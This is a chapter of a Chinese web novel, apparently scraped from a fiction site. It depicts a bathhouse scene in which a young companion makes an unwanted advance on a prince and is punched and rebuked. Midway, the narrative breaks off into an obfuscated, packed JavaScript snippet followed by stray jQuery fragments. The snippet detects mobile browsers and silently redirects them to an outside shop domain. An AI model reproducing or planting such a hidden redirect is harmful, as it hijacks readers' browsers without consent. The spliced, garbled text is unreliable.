文趣网 > 玄幻小说 > 为帝 > 24. 泛水
    帷幔里雾气弥漫,落在身上化成细小的水珠,孟显允睁开双眼:“进来。”

    围起的四方天地里温暖如春,与池外的寒冷形成鲜明的对比,沈观复在遮挡视线的满室雾气中一眼便瞧见了坐在池边的孟显允。

    孟显允穿着素色中单里衣,梳洗过但没拢起的墨色长发自然垂至身前身后。

    皮肤还是白,从衣襟里拔出的脖颈好似一截生冷的玉石,有着与周遭雾气截然不同的质地。

    大概所谓的素极生艳就是这样氤氲美好的画面。

    孟显允已经泡了一会儿,热气蒸腾下两侧脸颊晕出两抹相似的胭脂,与唇的颜色正相似。

    胭脂?

    为什么会是胭脂?

    沈观复想——孟显允又非山精狐媚。

    这般稍显细节的描绘不过也只是瞬间的凝望,那些杂乱的念头随着沈观复目光的收回一并被压了下去,他一如既往:“殿下……”

    孟显允眼皮都懒得抬,有些暗哑的声音按住了沈观复:“坐那泡着,别凑过来。”

    “哦,好吧。”

    沈观复看似听话,实际心思活络,正不露声色地慢慢的、一点一点地靠近孟显允。

    等孟显允再睁眼,沈观复那张已展露几分俊逸风流的脸离他只有咫尺之距。

    孟显允冷冷地瞧他:“做什么?”

    沈观复:“谢殿下。”

    说得是大雨来袭时孟显允将外袍盖在他身上的事。

    孟显允没在意,说:“不必,你靠得太近了,退下。”

    听到孟显允的无情拒绝,沈观复丝毫不觉尴尬,他的解释别有几分欲盖弥彰的亲近:“靠近些暖和。”

    沈观复默默地与孟显允对视。

    孟显允倏而蹙了下眉,有些困惑。

    只见孟显允抬起藏在温泉下的手,轻轻在沈观复面前挥了挥:“可是你脸已经很红,应该足够暖和了,靠这么近难不成还要与我牵手过家家?”

    莹白修长的手带起一串串水珠一声声砸回池面,沈观复感觉孟显允手上所携带的温热湿气全都扑在了他脸上——

    如果说沈观复先前在外袍上嗅到的只是一缕一缕无法扯断的香气,那么此刻泡在温泉里的孟显允无疑就是一捧盛放在他眼前的苦玳花。

    馥郁而又苦涩的香气蹿入沈观复的大脑直接摒除了满池的硫磺味,令他再闻不到其他的气味。

    孟显允:“观复,我说真的,我现在有些发热,需要你离我远一点。”

    孟显允再次耐着性子和沈观复解释,如果沈观复不走,他就打算起身不泡了。

    “嗯,我知道,”孟显允心头一松,沈观复又说,“我不怕。”

    孟显允:“……”

    “殿下,你对别人也会这样好吗?就像今天这样照顾我一样。”

    “也分人……”

    沈观复歪头紧盯着孟显允不放。

    “……”面对又要求哄的沈观复,孟显允无奈开口:“不会这样对他人,都是因为沈伴读最特别,我必须格外照顾。”

    沈观复脸上的笑容逐渐扩大:“果然我还是最喜欢听殿下说真话。”

    “殿下怎么不擦干净头发?”沈观复捞起孟显允垂至温泉中的长发,“这样容易生病。”

    如果说先前的试探孟显允尚可以接受,那么此刻亲昵且隐约带着占有欲的举动则让孟显允心中产生了难以言喻的怪异感。

    “这就擦,”孟显允要拂开沈观复的手,将欲起身,“你安心泡着,稍后我会让人给你送衣裳。”

    沈观复进温泉时只脱了外衣,里衣这会儿和孟显允一样湿透了。

    再加上沈观复穿衣服没那么守规矩,里衣的系带绑得松,动作又大,领口露了好一片肌肤出来。

    沈观复在沈府里未必不学无术。

    他虽然还没有长成像父兄那样的轩昂伟岸的悍利身形,但从肩背胸膛的抽长来看已经初具坚实挺拔的利落。

    沈观复是个正朝着朝阳奔去的少年郎,只差了时间。

    “殿下,不用叫旁人。”沈观复面对孟显允推拒的手纹丝不动。

    他将孟显允的手顺下来,手指在碰到孟显允手背上的细小疤痕后于暗处不自然地蜷缩了片刻。

    沈观复:“殿下多泡一会儿,不必起身。”

    沈观复直起背拿过一旁木架上搭着的棉质汗巾,他把汗巾妥帖垫在孟显允的后背,接着将长发全部捋到身后细细地区分好,沈观复一条腿屈着半跪在坚硬的池边,就那样半侧着身,开始认认真真地给孟显允擦头发。

    孟显允愣怔住。

    孟显允:“不用你……”

    “喝口姜茶,等会就好。”沈观复单手从木盘上拿来热茶,不由分说地递到孟显允面前。

    这杯茶堵住了孟显允本要开口的拒绝。

    手中的姜茶熬得浓,三山特意放了红糖来冲淡姜茶的辛辣。

    只是入喉后,甜是甜,辛是辛,两种味道互不干扰,仍旧直冲天灵盖。

    杯中茶汤如赤色琥珀,将孟显允和沈观复都包裹了进去。

    涟漪蔓延,窥见行动者的笨拙。

    因为笨拙,所以更显得认真。

    令人不自在的感受愈发强烈,始作俑者却浑然不觉颇为安稳自在。

    孟显允轻轻啧了一声,头偏向一侧来表达自己的拒绝。

    风悄悄,雾蒙蒙,温泉汩流,无人言语。

    在极度舒坦安全的环境中人的五感会变得迟钝,接收信息的敏锐程度逐渐下降。

    当所有的感觉都像此时此刻的时间一样被拉长后,那些藏在心底不为人知的旖旎幻想就开始潜滋暗长。

    孟显允偏头的无声拒绝已经是此刻沈观复品不出意味的暗语。

    ——沈观复已被素玉一般的脖颈侵占了视线。

    拨去粘附其上的黑发,指间触碰到弹性与温热都是美玉所远不可比的鲜活。

    默然间,沈观复将手大胆地放了上去——

    “观复?”孟显允皱眉,出言呵斥:“沈观复!”

    孟显允:“你在做什么?!”

    手中的温热骤然离去,离神的沈观复这才反应过来——

    孟显允挣脱沈观复的桎梏,长发垂散,盯着沈观复的双眼眼尾飘红。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531139|202214||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >孟显允一侧脖颈上已经被沈观复大力握出了几枚明晃晃的指印。

    ——红白相衬,乖张暧昧。

    模样实在狼狈,境遇也称得上难堪,全身湿淋淋的孟显允却还是震得人心头一颤。

    “我……”沈观复大脑发懵还未解释,孟显允的巴掌就呼啸着扇到了他眼前!

    沈观复预料中的疼痛没有如期而至,孟显允的巴掌在离沈观复左脸半寸时硬生生停住了!

    仅凭孟显允先前想要使出来的气力,他这一耳光下去沈观复的脸半个多月都不用见人。

    孟显允咬牙压抑着内心的愤怒,全身也因情绪控制不住而微微发颤。

    沈观复见孟显允盛怒:“殿下,你、我……”

    巴掌变成拳头,一声沉闷锤得沈观复脑子嗡嗡作响!

    还没等沈观复缓神,孟显允脚踢在他的膝弯,一手揪着他的里衣,将沈观复整个人往温泉池子里砸!

    哗——!!!

    孟显允扯住领口将沈观复从水里拎起来!

    两人靠得极近,所以沈观复更能听清楚孟显允那一字一句的话语里暗含着的情绪:“冷静了吗?!沈观复!”

    孟显允少有连名带姓喊他的时候。

    “你再敢这般忤逆欺上,就不是这一拳头这么简单了!”

    孟显允盯着已经醒神了的沈观复,松开了钳制对方的手。

    “人在年少,神情未定,所与款狎,熏自陶染……观复,你没见过的事物还很多,切勿身陷泥沼,无法脱身。”

    “越界必定要付出代价!”孟显允敲打他:“你很聪明,但不要主意太大了。”

    孟显允与沈观复,或者说,孟显允在对待与沈观复的关系上一直都有着泾渭分明的界限。

    和善也好,纵容也罢,甚至是暴怒时的克制那都是在孟显允心中考量过后的退让。

    界限关系之内,孟显允会一而再再而三为沈观复破例,但他绝不允许沈观复踩到关系的红线上!

    那条关系红线被称之为——“君臣”。

    孟显允说话不留情面,他捡起打落在地面上的外袍披身上,头也不回地掀开帷幔离开了。

    沈观复站在池中,一直到确定孟显允不会再回来后,沈观复才伸手轻轻碰了下孟显允一拳打过来的地方。

    “嘶——”

    沈观复都快忘了自己上一次挨打是什么时候,去年打瓦剌人的时候似乎也挨了这么一下?

    当然比起瓦剌人,孟显允还是留情了。

    沈观复放空思绪,身子一轻,仰面砸进了水里!

    哗啦——溢出的水流漫向池边将装着姜茶的杯子冲倒,杯子咕噜咕噜滚了下来。

    乐不可极,极乐成哀;欲不可纵,纵欲成灾——道理沈观复懂。【1】

    沈观复捞住孟显允用过的杯子,指腹沿着杯身摩挲了几遍,心里的念头在扎根后拔都拔不起来。

    他先前在孟显允揪他衣领时手搭放在了孟显允腰上,搭了短短一秒都不到。

    孟显允的腰充满力量和韧性但同时……很软。

    沈观复任由全身沉进池中,确实该打。